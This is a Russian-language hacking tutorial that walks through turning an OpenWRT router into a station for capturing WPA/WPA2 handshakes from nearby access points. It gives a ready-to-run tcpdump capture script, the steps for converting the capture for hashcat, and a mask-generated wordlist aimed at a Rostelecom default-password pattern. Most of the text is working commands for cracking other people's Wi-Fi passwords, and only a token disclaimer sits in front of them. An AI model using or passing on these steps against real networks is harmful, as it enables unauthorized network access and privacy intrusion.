Нихао, уважаемые хацкеры Сегодня мы будем превращать ваш старенький роутер в настоящую хак станцию Дисклеймер Все данные, предоставленные в данной статье, взяты из открытых источников, не призывают к действию и являются только лишь данными для ознакомления и изучения механизмов используемых технологий. Перейдем к теории. 1. Что мы будем использовать для осуществления атаки? Мы будем использовать атаку на EAPOL Handshake. Что это такое? Когда ваше устройство подключается к Wi-Fi сети, оно обменивается "рукопожатиями" с роутером. Эти рукопожатия содержат нужную нам информацию, а именно пароль(не в открытом виде). Для совершения атаки нам понадобится: старый роутер, прошивка OpenWRT(желательно выпилить оттуда собственноручно LuCI, она нам не нужна), 500 кб свободного места на роутере. Из программ: tcpdump-mini. Практика. 2. Подготовка Для начала нам понадобится установить OpenWRT. Я буду устанавливать собственноручно собранный образ, вам же рекомендую установить образ с сайта. Перейдя на этот сайт вы увидите только пребилт сборки. Если вы знаете как устанавливать, то скачивайте и устанавливайте, остальные же в Гугле вводят: "{НАЗВАНИЕ РОУТЕРА} openwrt install" После установки подключаемся к роутере средствами ssh клиента на вашем компьютере(PuTTY, Openssh-client, e.g), я же буду использовать openssh: ssh root@192.168.1.1 - (ВНИМАНИЕ!! Если вы изменили IP-адрес, то укажите здесь именно измененный) Вы увидите так называемый banner После этого нам нужно проверить наличие интернета на роутере, сделаем это командой ping: ping -c 4 google.com Если у вас такой же вывод - интернет есть, если нет, то ищите причину почему у вас нет интернета(если нужен гайд на первоначальную настройку OpenWRT после установки - дайте знать в комментариях) После этого вводим команду для обновления сорцов OpenWRT: opkg update Этой командой мы обновили источники пакетов для нашего роутера. Далее переходим к установке нужного нам пакета: opkg install tcpdump-mini Данной командой мы установили tcpdump-mini Мы подготовили наш роутер к превращению в хак-станцию. Осталось приготовить скрипт. 3. Написание скрипта После пунктов, перечисленных выше, на данном этапе мы должны иметь полностью готовый роутер к превращению. Осталось дело за малым. В этом пункте мы будем собирать из разных команд один скрипт, запустив который в фоне, вы сможете собирать хэндшеки аки якудза. Для начала нам нужно определить интерфейс, который мы будем переводить в режим монитора: iw dev Нас интересует только эта информация, в моем случае в роутера установлено два адаптера (phy#0, phy#1), но использовать я буду только 2.4ГГц (phy#1). После этого нам нужно создать на этом устройстве интерфейс в режиме монитора: iw phy phy1 interface add mon0 type monitor Если у вас пустой вывод - вы великолепны, команда отработала без ошибок. Далее поднимаем этот интерфейс: ip link set mon0 up Вывод так же должен быть пустым, если нет - курите официальный сайт OpenWRT. Теперь нам нужно просканить окружающие нас сети: iwinfo phy1 scan Вывод должен содержать в себе сети, где написана вся информация о них. (свои показывать не буду, дабы избежать деанона) Ищем нужную нам сеть, берем с нее мак-адрес(в дальнейшем буду называть BSSID), а так же канал(он указан в пункте Channel: ) Теперь задаем нашему адаптеру канал для прослушивания графика на нем: iw dev mon set channel 6 - (в моем случае нужная мне ТД находится на 6 канале) Таким образом мы настроили мониторящий интерфейс нашего роутера на нужный канал. После этого нам нужно поймать 1 пакет Beacon(маяка). Маяк передают все Wi-Fi сети, дабы наши устройства смогли найти эти сети: tcpdump -I mon0 -c 1 -Us0 ether host 00:00:00:00:00:00 and type mgt subtype beacon -w /root/beacon.pcap (в аргументе -w мы задаем файл куда записывать наш пойманный пакет. количество которых мы задаем в аргументе -c) Если вы получили такой вывод, все прекрасно, мы поймали маяк ТД. Далее нам нужно запустить перехват самих EAPOL 4-way handshake: tcpdump -i mon0 -c 4 -Us0 ether host 00:00:00:00:00:00 and ether proto 0x888e -w /root/eapol.pcap (нам нужно поймать именно 4 пакета хендшейка, для "восстановления" пароля от ТД нам подойдут 1,2 / 3,4 / 1,4 пакеты, вот как эти пакеты выглядят в Wireshark): После выполнения данной команды, вы получите схожий вывод команды как от прошлой, только будет 4 пакета, а не 1. Если у вас все прошло успешно, в директории /root у вас будет находится 2 файла, beacon.pcap и eapol.pcap. Для того, чтобы их сгрузить, рекомендую windows юзерам использовать WinSCP, пользователям Linux рекомендую использовать проводник Dolphin, где можно подключится. Если вы владелец Mac, то можете попробовать установить openssh-server (opkg install openssh-server), возможно, вам хватит места. После чего можете вводить в терминале: "scp root@192.168.1.1:/root/*.pcap ." - после чего в папке, которую вы открыли в терминале появятся два этих файла. Теперь мы будем собирать с вами из заданных ранее команд один большой скрипт. ШАБЛОН #!/bin/sh bssid="00:00:00:00:00:00" channel="0" interface="mon0" phy="phy1" mac=$(echo $bssid | sed 's/://g') beacon_file=`date +%d%m%y-%H-%M`_${mac}_"(b)".pcap eapol_file=`date +%d%m%y-%H-%M`_${mac}_"(e)".pcap iw phy $phy interface add $interface type monitor ip link set $interface up iw dev $interface set channel $channel tcpdump -i $interface -c 1 -Us0 ether host $bssid and type mgt subtype beacon -w /root/cap/$beacon_file tcpdump -i $interface -c 4 -Us0 ether host $bssid and ether proto 0x888e -w /root/cap/$eapol_file & Разберем немного скрипт: В самом верху sha-bang: #!/bin/sh Далее идут 4 переменные, которые вы заполняете руководствуясь информацией полученной ранее. bssid - мак-адрес ТД channel - канал ТД interface - МОНИТОРЯЩИЙ ИНТЕРФЕЙС (e.g mon0) phy - АДАПТЕР (e.g phy1 (# не учитываем)) Переменная mac служит ТОЛЬКО для того, чтобы убрать : из bssid, так мы избежим проблем при передаче этого файла на нашу систему. Переменные beacon_file, eapol_file служат ТОЛЬКО для того, чтобы назначить куда нам сохранять пойманные маяки и хендшейки. Я для своего удобства использую формат: ДЕНЬМЕСЯЦГОД-ЧАС-МИНУТ-МАК_АДРЕС-(b) или (e) .pcap -(b - beacon, e - eapol) Далее мы захватываем маяк, и только после этого запускаем перехват хендшейков. Для того, чтобы собрать этот шаблон под себя, вам понадобится информация, которую мы добывали раньше (нужный интерфейс, нужный адаптер, канал, на котором находится наша ТД, bssid этой точки) Создаем папку cap: mkdir /root/cap Открываем редактор vi: vi /root/script.sh Для того, чтобы была возможность редактирования файла, нажимаем Insert либо английскую клавишу i После того как вы задали эти переменные, вам остается сохранить и закрыть файл. Нажмите ESC и введите :wq Тем самым вы сохранили файл и вышли из него. Задаем права на запуск скрипта: chmod +x /root/script.sh Далее нужно его запустить: cd /root && ./script.sh После того, как вы его запустили, можете спокойно закрывать консоль и пить чай, периодически проверяя попался ли хендшейк (cd /root/cap && ls -la - если вы увидели что файл с eapol стал больше 24, можете скачивать его по scp и использовать в ****е) MERGE Нам нужно смержить два файла в один. Проще всего это сделать используя Wireshark. Открываем файл с маяками (тот, который (b)) Слева жмем File -> Merge и выбираем файл с хендшейком (тот, который (e)) После этого мы увидем 5 пакетов на экране, первый маяк, и наш хендшейк. Слева жмем File -> Save as и выбираем любое название и сохраняем его 4. ****форс В этом пункте я вкратце расскажу про такие инструменты как hashcat, maskprocessor и покажу как их применять. 1. Для начала я крайне рекомендую иметь Kali Live на вашей флешке с persistence разделом. На ней все эти инструменты встроенные. Если же у вас иной дистрибутив: sudo apt update && sudo apt install hashcat maskprocessor -y Данная команда должна обновить сорцы пакетов и установить все нужные программы. 2. Краткий ликбез по инструментам hashcat - утилита для ****форса всего, что вы знаете. Перебирает хэши от md5 до хэшей LUKS2 накопителей. Умеет в работу с CUDA. maskprocessor - утилита для создания своего личного словаря паролей по маске, швейцарский нож для создания словарей 3. Конвертация файла в нужный hashcat для ****а Нам понадобится официальный конвертер от hashcat *тык* Там мы нажимаем Upload, выбираем наш .pcap который мы получили когда мержили два файла, и нажимаем Convert Далее перед нами в самом верху будет кнопка Download - жмем на нее и скачиваем файл .22000 4. Генерация словаря Если вы знаете определенную маску паролей какого-то провайдера - например у Ростелекома сети RT-GPON-#### имеют маску GP########, то можете сгенерировать свой словарь и использовать его в ****е, во всех остальных случаях, лучше пытаться на словаре rockyou mp64 -t GP?a?a?a?a?a?a?a?a > wordlist-rt-gpon.txt - этой командой мы запустили создание словаря по маске, где ?а - означает абсолютно любой символ) Если mp64 - command not found, попробуйте просто mp. 5. Мы закончили все наши подготовительные этапы, настала пора запускать **** пароля. hashcat -m 22000 handshake.22000 wordlist-rt-gpon.txt - этой командой мы запускаем **** пароля, где аргумент -m это кодовое обозначение хэша WPA/WPA2, handshake.22000 - полученный нами файл после мержа и конвертации, wordlist-rt-gpon.txt - наш словарь для перебора.) * В зависимости от мощности вашей видеокарты/процессора **** может длится от нескольких часов до нескольких дней. Когда **** закончится, вы увидите следующее: Значит - вы успешно восстановили пароль от ТД. Если вы хотите продолжение, а именно разбор индикации роутеров на OpenWRT(например показывать светодиодом успешное получение хендшейка), добавление этого скрипта в автозагрузку и работу с reaver, pixiewps на OpenWRT - дайте реакции. Всем спасибо